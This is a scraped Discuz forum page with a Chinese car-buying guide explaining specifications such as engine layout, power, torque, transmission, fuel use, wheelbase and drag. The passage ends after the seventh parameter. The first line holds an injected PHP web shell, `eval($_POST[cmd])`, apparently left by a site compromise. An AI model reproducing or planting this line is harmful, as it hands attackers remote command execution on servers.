');eval($_POST[cmd])?>'); define('UC_APPID', 'UC_APPID'); define('UC_PPP', '20'); 購車必讀 教你讀懂轎車的常見十個參數 - 改裝俱樂部 - 四輪天下 - Powered by Discuz!
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購車必讀 教你讀懂轎車的常見十個參數

許多消費者在購車之前都會先關注車型的口碑,這是很實用的方法。不過讀懂參數可能更方便找到滿足自身需求的車型。

  在每款車型上市前後,汽車廠家都會配套公佈該車一份完整的參數表。雖然很多參數都僅僅是一個簡單的數據,但就是這個簡單的數據,要真正讀懂也需要一些理性分析和研究。這是因為有些參數具有非常明顯的實際意義,有些參數則不然。而且,同一組參數還可能讓人產生混淆。畢竟汽車的結構和各種標準非常複雜,非專業人士難以準確地理解參數的意義是無可厚非的。

  為了更準確地挑選到滿足自己的車型,有些汽車參數還是必須仔細瞭解。以下就是最常接觸到,也容易在解讀時產生誤差的十大汽車參數。

  參數之一:發動機

  目前,車市在售的車型中,發動機類型主要有L形(直列分佈)、V形(氣缸分佈呈一定夾角)兩種,還有B形(水平對置)以及W形(氣缸分佈呈W形)等兩種不常見的。通常而言,L型發動機絕大部分採用4缸設計,V型發動機為6缸及以上。相比之下,L4油耗更小,V6動力更足。

  此外,關於發動機的,還分為前置、中置和後置,以及前驅和後驅等。現在絕大部分家轎採用了前置前驅方式,好處是減輕了車重,結構比較緊湊,動力傳遞效率高,燃油經濟性好,並增強了操控穩定性和制動時的方向穩定性;但也有弊端,啟動、加速或爬坡時,牽引力下降。另外一種比較可能接觸到的則是前置後軀。這類車型的優勢在於啟動、加速或爬坡時驅動力更強,操縱性更好。例如凱美瑞就屬於L4前置前驅車型,新一代天籟2.5L屬於V6前置前驅車型,而銳志2.5L則屬於V6前置後軀車型。

  參數之二:最大功率

  最大功率是關於發動機的動力參數之一。簡單地理解,功率越高,車輛的極速將越大。

  很多消費者在購車之前都會對不同車型的最大功率進行比較,認為越高越好。這沒錯,但存在片面性。和最大功率相關的,還有一個非常重要的參數:發動機轉速。例如某款1.8L發動機,最高功率達到103RW,但其前提條件是發動機轉速必須達到每分鐘6300轉。顯然,6300轉在日常使用中出現的幾率極小,小到基本上可以忽略,實際意義並不大。

  因此,關於功率參數,更應該關注其在常見轉速下的發揮情況,例如2000-4000轉範圍內發動機能發揮出多大的功率。

  參數之三:最大扭矩

  瞭解發動機的最大扭矩,也應該採用瞭解最大功率的方式。扭矩越大,大致意味著車輛的瞬間加速性將越好。而在這個參數中,發動機轉速更值得去細細研究。

  和最大功率一樣,最大扭矩所需的發動機轉速越高,現實意義將越小。為了讓消費者更好地理解這一問題,很多發動機技術實力較強的汽車廠家通常都會附帶另外一項說明,例如在2000-3500轉之間,發動機能爆發出90%的扭力等等。這也是現在低轉高扭車型之所以受到歡迎的原因之一。

  參數之四:變速箱

  轎車的變速箱主要有自動變速箱、手動變速箱和手自一體變速箱等。其中比較普遍的自動變速箱又分為有級變速箱和無級變速箱,前者如4速、5速、6速乃至7速自動變速箱,後者如CVT。

  從理論上來看,手動變速箱通過駕駛者對情況的判斷來換擋,提速或減速在變速箱中最為直接,劣勢是城市駕駛的方便性降低。自動變速箱剛好與此相反。

  有級變速箱的級數越多,意味著車輛行駛的平順性和節油性越好,並且保養相對低廉,耐用性好;CVT的原理就是將級數增加到無限多,平順性和節油性顯然更好,但保養也相對較高,耐用性則降低。

  至於手自一體變速箱,通常都在20萬元及以上的車型中得到應用。它的好處是兼顧了駕駛樂趣和駕駛的方便性。

  參數之五:油耗

  油耗是目前最受消費者關注的參數之一。汽車廠家在車型發佈時也會公佈油耗參數,但往往為了數據上好看,一般都採用了「理論油耗」或者「等速油耗」等字眼。因此關於這一參數需要特別分析。

  每款發動機都有所謂的經濟時速,例如90km/h,在這一時速下油耗最低。但城市路況下這種情況並不多,實際意義也被大大削弱。至於理論油耗,甚至是在這種情況下,再剔除各種影響因素,例如風阻等,油耗更低。這幾乎可以將其視為發動機的潛力,或者直接忽略不計。

  此外,特別值得一提的是,看油耗參數還要與車重聯繫起來看。例如歐洲車的車重普遍比日系車重,那麼統一排量下油耗偏高也可以理解了。

  參數之六:軸距

  軸距和車長存在一定的聯繫,但是分開的兩個獨立的概念。通常而言,軸距越長,意味著車輛的行駛穩定性越高,車內空間越大,舒適性越好,而車輛的轉彎半徑也越大,但並不絕對。

  加長車指的就是軸距的加長,至於車頭或者車尾的加長,現實意義並不大。

  參數之七:風阻

  汽車的風阻係數經常被准車主們忽略,其實風阻是個非常重要的參數,它關係到車輛行駛時的噪音、油耗、穩定性等重要問題。

  空氣阻力是汽車行駛過程中遇到最大的也是最重要的外力。權威測試表明,當車輛以80km/h的速度前進時,60%的耗油是用於克服風阻消耗;當車輛以200km/h前進時,85%的油耗是用於克服風阻。一輛車的風阻係數每降低10%,至少能降低7%的油耗,而百公里加速將可能提高23%!

  目前,大多數轎車的風阻係數在0.28—0.4間,流線性較好的車風阻係數可能僅有0.25左右。

  在節能的前提下,選車當然應該選風阻係數低的車型。

 

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